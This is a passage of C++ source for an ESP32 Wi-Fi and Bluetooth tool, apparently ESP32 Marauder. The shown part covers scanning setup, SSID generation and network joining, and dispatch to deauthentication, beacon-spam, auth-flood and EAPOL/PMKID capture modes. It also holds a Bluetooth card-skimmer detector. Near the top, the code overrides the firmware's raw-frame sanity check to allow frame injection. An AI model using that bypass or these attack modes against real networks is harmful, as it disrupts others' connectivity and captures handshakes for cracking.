WiFiScan.cpp 107 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  242. RunRawScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  246. RunAPScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_PWN)
  248. RunPwnScan(scan_mode, color);
  249. else if (scan_mode == WIFI_SCAN_DEAUTH)
  250. RunDeauthScan(scan_mode, color);
  251. else if (scan_mode == WIFI_PACKET_MONITOR) {
  252. #ifdef HAS_SCREEN
  253. RunPacketMonitor(scan_mode, color);
  254. #endif
  255. }
  256. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  258. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  260. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  261. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  262. else if (scan_mode == WIFI_ATTACK_AUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  264. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  265. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  266. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  267. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  268. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  269. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  270. else if (scan_mode == BT_SCAN_ALL) {
  271. #ifdef HAS_BT
  272. RunBluetoothScan(scan_mode, color);
  273. #endif
  274. }
  275. else if (scan_mode == BT_SCAN_SKIMMERS) {
  276. #ifdef HAS_BT
  277. RunBluetoothScan(scan_mode, color);
  278. #endif
  279. }
  280. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  281. RunEspressifScan(scan_mode, color);
  282. else if (scan_mode == LV_JOIN_WIFI) {
  283. #ifdef HAS_SCREEN
  284. RunLvJoinWiFi(scan_mode, color);
  285. #endif
  286. }
  287. else if (scan_mode == LV_ADD_SSID) {
  288. #ifdef HAS_SCREEN
  289. RunLvJoinWiFi(scan_mode, color);
  290. #endif
  291. }
  292. WiFiScan::currentScanMode = scan_mode;
  293. }
  294. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  295. // Common wifi attack configurations
  296. #ifdef HAS_SCREEN
  297. display_obj.TOP_FIXED_AREA_2 = 48;
  298. display_obj.tteBar = true;
  299. display_obj.print_delay_1 = 15;
  300. display_obj.print_delay_2 = 10;
  301. display_obj.initScrollValues(true);
  302. display_obj.tft.setTextWrap(false);
  303. display_obj.tft.setTextColor(TFT_BLACK, color);
  304. display_obj.tft.fillRect(0,16,240,16, color);
  305. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  306. display_obj.touchToExit();
  307. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  308. #endif
  309. packets_sent = 0;
  310. WiFi.mode(WIFI_AP_STA);
  311. //esp_wifi_init(&cfg);
  312. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  313. //esp_wifi_set_mode(WIFI_AP_STA);
  314. //esp_wifi_start();
  315. //esp_wifi_set_promiscuous_filter(NULL);
  316. esp_wifi_set_promiscuous(true);
  317. esp_wifi_set_max_tx_power(82);
  318. this->wifi_initialized = true;
  319. #ifdef MARAUDER_FLIPPER
  320. flipper_led.attackLED();
  321. #endif
  322. initTime = millis();
  323. }
  324. bool WiFiScan::shutdownWiFi() {
  325. if (this->wifi_initialized) {
  326. esp_wifi_set_promiscuous(false);
  327. WiFi.disconnect();
  328. WiFi.mode(WIFI_OFF);
  329. dst_mac = "ff:ff:ff:ff:ff:ff";
  330. esp_wifi_set_mode(WIFI_MODE_NULL);
  331. esp_wifi_stop();
  332. esp_wifi_deinit();
  333. #ifdef MARAUDER_FLIPPER
  334. flipper_led.offLED();
  335. #endif
  336. this->wifi_initialized = false;
  337. return true;
  338. }
  339. else {
  340. return false;
  341. }
  342. }
  343. bool WiFiScan::shutdownBLE() {
  344. #ifdef HAS_BT
  345. if (this->ble_initialized) {
  346. pBLEScan->stop();
  347. pBLEScan->clearResults();
  348. BLEDevice::deinit();
  349. #ifdef MARAUDER_FLIPPER
  350. flipper_led.offLED();
  351. #endif
  352. this->ble_initialized = false;
  353. return true;
  354. }
  355. else {
  356. return false;
  357. }
  358. #endif
  359. return true;
  360. }
  361. // Function to stop all wifi scans
  362. void WiFiScan::StopScan(uint8_t scan_mode)
  363. {
  364. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  365. (currentScanMode == WIFI_SCAN_AP) ||
  366. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  367. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  368. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  369. (currentScanMode == WIFI_SCAN_PWN) ||
  370. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  371. (currentScanMode == WIFI_SCAN_EAPOL) ||
  372. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  373. (currentScanMode == WIFI_SCAN_ALL) ||
  374. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  375. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  376. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  377. (currentScanMode == WIFI_ATTACK_AUTH) ||
  378. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  379. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  380. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  381. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  382. (currentScanMode == WIFI_PACKET_MONITOR) ||
  383. (currentScanMode == LV_JOIN_WIFI))
  384. {
  385. this->shutdownWiFi();
  386. }
  387. else if ((currentScanMode == BT_SCAN_ALL) ||
  388. (currentScanMode == BT_SCAN_SKIMMERS))
  389. {
  390. #ifdef HAS_BT
  391. this->shutdownBLE();
  392. #endif
  393. }
  394. #ifdef HAS_SCREEN
  395. display_obj.display_buffer->clear();
  396. #ifdef SCREEN_BUFFER
  397. display_obj.screen_buffer->clear();
  398. #endif
  399. //Serial.print("display_buffer->size(): ");
  400. Serial.println(display_obj.display_buffer->size());
  401. display_obj.tteBar = false;
  402. #endif
  403. }
  404. String WiFiScan::getStaMAC()
  405. {
  406. char *buf;
  407. uint8_t mac[6];
  408. char macAddrChr[18] = {0};
  409. esp_wifi_init(&cfg);
  410. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  411. esp_wifi_set_mode(WIFI_MODE_NULL);
  412. esp_wifi_start();
  413. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  414. this->wifi_initialized = true;
  415. sprintf(macAddrChr,
  416. "%02X:%02X:%02X:%02X:%02X:%02X",
  417. mac[0],
  418. mac[1],
  419. mac[2],
  420. mac[3],
  421. mac[4],
  422. mac[5]);
  423. this->shutdownWiFi();
  424. return String(macAddrChr);
  425. }
  426. String WiFiScan::getApMAC()
  427. {
  428. char *buf;
  429. uint8_t mac[6];
  430. char macAddrChr[18] = {0};
  431. esp_wifi_init(&cfg);
  432. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  433. esp_wifi_set_mode(WIFI_MODE_NULL);
  434. esp_wifi_start();
  435. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  436. this->wifi_initialized = true;
  437. sprintf(macAddrChr,
  438. "%02X:%02X:%02X:%02X:%02X:%02X",
  439. mac[0],
  440. mac[1],
  441. mac[2],
  442. mac[3],
  443. mac[4],
  444. mac[5]);
  445. this->shutdownWiFi();
  446. return String(macAddrChr);
  447. }
  448. String WiFiScan::freeRAM()
  449. {
  450. char s[150];
  451. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  452. this->free_ram = String(esp_get_free_heap_size());
  453. return String(s);
  454. }
  455. // Function to start running a beacon scan
  456. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  457. {
  458. sd_obj.openCapture("ap");
  459. #ifdef MARAUDER_FLIPPER
  460. flipper_led.sniffLED();
  461. #endif
  462. Serial.println(text_table4[9] + (String)access_points->size());
  463. #ifdef HAS_SCREEN
  464. display_obj.TOP_FIXED_AREA_2 = 48;
  465. display_obj.tteBar = true;
  466. display_obj.print_delay_1 = 15;
  467. display_obj.print_delay_2 = 10;
  468. display_obj.initScrollValues(true);
  469. display_obj.tft.setTextWrap(false);
  470. display_obj.tft.setTextColor(TFT_WHITE, color);
  471. #ifndef MARAUDER_MINI
  472. display_obj.tft.fillRect(0,16,240,16, color);
  473. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  474. display_obj.touchToExit();
  475. #endif
  476. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  477. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  478. #endif
  479. esp_wifi_init(&cfg);
  480. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  481. esp_wifi_set_mode(WIFI_MODE_NULL);
  482. esp_wifi_start();
  483. esp_wifi_set_promiscuous(true);
  484. esp_wifi_set_promiscuous_filter(&filt);
  485. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  486. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  487. //else
  488. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  489. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  490. this->wifi_initialized = true;
  491. initTime = millis();
  492. }
  493. #ifdef HAS_SCREEN
  494. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  495. display_obj.tft.init();
  496. display_obj.tft.setRotation(1);
  497. #ifdef TFT_SHIELD
  498. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  499. Serial.println("Using TFT Shield");
  500. #else if defined(TFT_DIY)
  501. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  502. Serial.println("Using TFT DIY");
  503. #endif
  504. display_obj.tft.setTouch(calData);
  505. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  506. lv_disp_load_scr(scr);
  507. }
  508. #endif
  509. void WiFiScan::RunClearAPs() {
  510. #ifdef HAS_SCREEN
  511. display_obj.tft.setTextWrap(false);
  512. display_obj.tft.setFreeFont(NULL);
  513. display_obj.tft.setCursor(0, 100);
  514. display_obj.tft.setTextSize(1);
  515. display_obj.tft.setTextColor(TFT_CYAN);
  516. display_obj.tft.println(F(text_table4[9]));
  517. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  518. #else
  519. this->clearAPs();
  520. #endif
  521. }
  522. void WiFiScan::RunClearSSIDs() {
  523. #ifdef HAS_SCREEN
  524. display_obj.tft.setTextWrap(false);
  525. display_obj.tft.setFreeFont(NULL);
  526. display_obj.tft.setCursor(0, 100);
  527. display_obj.tft.setTextSize(1);
  528. display_obj.tft.setTextColor(TFT_CYAN);
  529. display_obj.tft.println(F(text_table4[11]));
  530. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  531. #else
  532. this->clearSSIDs();
  533. #endif
  534. }
  535. void WiFiScan::RunGenerateSSIDs(int count) {
  536. #ifdef HAS_SCREEN
  537. display_obj.tft.setTextWrap(false);
  538. display_obj.tft.setFreeFont(NULL);
  539. display_obj.tft.setCursor(0, 100);
  540. display_obj.tft.setTextSize(1);
  541. display_obj.tft.setTextColor(TFT_CYAN);
  542. display_obj.tft.println(F(text_table4[13]));
  543. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  544. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  545. #else
  546. this->generateSSIDs(count);
  547. #endif
  548. }
  549. void WiFiScan::RunShutdownWiFi() {
  550. #ifdef HAS_SCREEN
  551. display_obj.tft.setTextWrap(false);
  552. display_obj.tft.setFreeFont(NULL);
  553. display_obj.tft.setCursor(0, 100);
  554. display_obj.tft.setTextSize(1);
  555. display_obj.tft.setTextColor(TFT_CYAN);
  556. display_obj.tft.print(F(text_table4[16]));
  557. #endif
  558. if (this->wifi_initialized) {
  559. this->shutdownWiFi();
  560. #ifdef HAS_SCREEN
  561. display_obj.tft.setTextColor(TFT_GREEN);
  562. display_obj.tft.println(F("OK"));
  563. #endif
  564. }
  565. else {
  566. #ifdef HAS_SCREEN
  567. display_obj.tft.setTextColor(TFT_RED);
  568. display_obj.tft.println(F(text17));
  569. display_obj.tft.println(F(text_table4[17]));
  570. #endif
  571. }
  572. }
  573. void WiFiScan::RunShutdownBLE() {
  574. #ifdef HAS_SCREEN
  575. display_obj.tft.setTextWrap(false);
  576. display_obj.tft.setFreeFont(NULL);
  577. display_obj.tft.setCursor(0, 100);
  578. display_obj.tft.setTextSize(1);
  579. display_obj.tft.setTextColor(TFT_CYAN);
  580. display_obj.tft.print(F(text_table4[18]));
  581. #endif
  582. if (this->ble_initialized) {
  583. this->shutdownBLE();
